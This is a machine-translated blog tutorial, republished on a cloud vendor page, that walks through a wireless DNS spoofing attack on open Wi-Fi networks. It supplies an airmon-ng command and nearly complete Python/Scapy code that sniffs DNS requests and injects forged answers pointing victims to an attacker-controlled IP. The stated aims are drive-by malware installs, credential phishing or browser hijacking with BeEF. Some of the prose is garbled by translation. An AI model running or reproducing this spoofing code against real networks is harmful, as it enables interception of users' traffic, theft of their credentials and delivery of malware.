Use Python for wireless attacks: Part 1-"Dnspwn attack"

Source: Internet
Author: User

Introduction

Not long ago, I published a blog post on the Raidersec blog about how to use Python and Scapy to bypass authentication attacks. I am very happy to write this article because I have not only learned how to use the aircrack suite, but also have the opportunity to deeply understand the differences in the operating methods of wireless attacks.

Therefore, as mentioned in this Article, this blog article will introduce a series of short and concise blog articles discussing how to use Python to implement common wireless attacks. As in the past, I hope you will appreciate this article and will not hesitate to let us know if you have the following comments or questions.

Dnspwn attack"

The first attack we will launch is called "dnspwn attack ". Because, in my opinion, this attack first uses the "airpwn" tool to create the target HTTP and then attack DNS .) The idea of this attack is very simple:

Suppose there are two people on an open WLAN: Bob and Eve. Eve wants Bob to access the malicious web page she created so that she can install malware on Bob's computer through hidden downloads, or a fraudulent website may be displayed to try to steal Bob's authentication information.

To implement this attack, she remembers that she can listen to all requests sent from or sent to Bob. She also knows that she is closer to Bob than the Web server Bob is requesting. Therefore, she decided to wait for Bob to send a Web request and see if she could send a fraudulent response before the real Web server responds to pretend that the response came from the web server. It turns out that she can do it. In fact, once a fraudulent response is received, Bob's computer may ignore any subsequent information, including the real response.

Let's take a look at the process, which looks as follows:

Therefore, since we already know how this attack runs, let us automate this attack.

Set Alfa AWUS06H wireless network card

Just like the example in my Raidersec blog post, we will use Alfa AWUS036H at hand to implement this attack. The first thing we need to do is to set the wireless network card in the monitoring mode, so that we can capture all the information flows from the demonstration of insecure networks.

 
 
  1. root@bt:~# airmon-ng start wlan0 

Now that we have started the monitoring mode and run it on the mon0 interface, let's start coding!

Write attack code

We will use the scapy module to implement this attack. We started to listen to any UDP packet whose destination port is 53, and then sent this packet to us. Then we will write a function named send_response:

 
 
  1. from scapy.all import * 
  2.  
  3. sniff(prn=lambda x: send_response(x), 
  4.   lfilter=lambda x:x.haslayer(UDP) and x.dport == 53) 

Now, let's create a function that can parse the information in the request and inject the response. We only use the following layer-by-layer migration method to parse the package and create a response:

  • 802.11 frame-change "to-ds" to "from-ds" (now our request will be from the Access Point)
  • 802.11 frame-exchange source MAC address and destination MAC address
  • IP layer-exchange source IP addresses and destination IP addresses
  • UDP layer-exchange source port and destination port
  • DNS layer-set the "answer" flag to add Spoofing

Fortunately, scapy makes it quite easy to abstract many secondary details. For example, in a 802.11 frame, there are actually four MAC address fields. Based on the packet direction, each type has a different order ). The Code is as follows:

 
 
  1. def send_response(x): 
  2.   # Get the requested domain 
  3.   req_domain = x[DNS].qd.qname 
  4.   spoofed_ip = '192.168.2.1' 
  5.   # Let's build our response from a copy of the original packet 
  6.   response = x.copy() 
  7.   # We need to start by changing our response to be "from-ds", or from the access point. 
  8.   response.FCfield = 2L 
  9.   # Switch the MAC addresses 
  10.   response.addr1, response.addr2 = x.addr2, x.addr1 
  11.   # Switch the IP addresses 
  12.   response.src, response.dst = x.dst, x.src 
  13.   # Switch the ports 
  14.   response.sport, response.dport = x.dport, x.sport 
  15.   # Set the DNS flags 
  16.   response[DNS].qr = 1L 
  17.   response[DNS].ra = 1L 
  18.   response[DNS].ancount = 1 

Now we have set all the flag, and then create and add the DNS response:

 
 
  1. response[DNS].an = DNSRR( 
  2.   rrname = req_domain, 
  3.   type = 'A', 
  4.   rclass = 'IN', 
  5.   ttl = 900, 
  6.   rdata = spoofed_ip 
  7.   ) 

Finally, we inject this spoofing response:

 
 
  1. sendp(response) 

This is all! You can find all source code on Github.

Demo

For this demonstration, I have the following HTML response from host 192.168.2.138:

 
 
  1. <body> 
  2.   Owned. 
  3. </body> 

It is worth noting that we can addAnyWe want HTML, Javascript, and so on. For example, using the BeEF framework to hijack a browser is a piece of cake.

I am using my iPhone as the attacked party ):

 

Summary & Future improvements

Note that this attack method is also effective for other simple request/response protocols. For example, the original "airpwn" attack spoofs the HTTP response. We can further improve this script. The following are several aspects:

  • Use regular expressions to match requests. For example, simply replace Javascript content)
  • Use parameter setting options/read configuration information from the file
  • Attacks that implement other protocols, such as HTTP ).
Enjoy!

Jordan

Http://www.oschina.net/translate/wireless-attacks-with-python-part-one-the-airpwn-attack.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.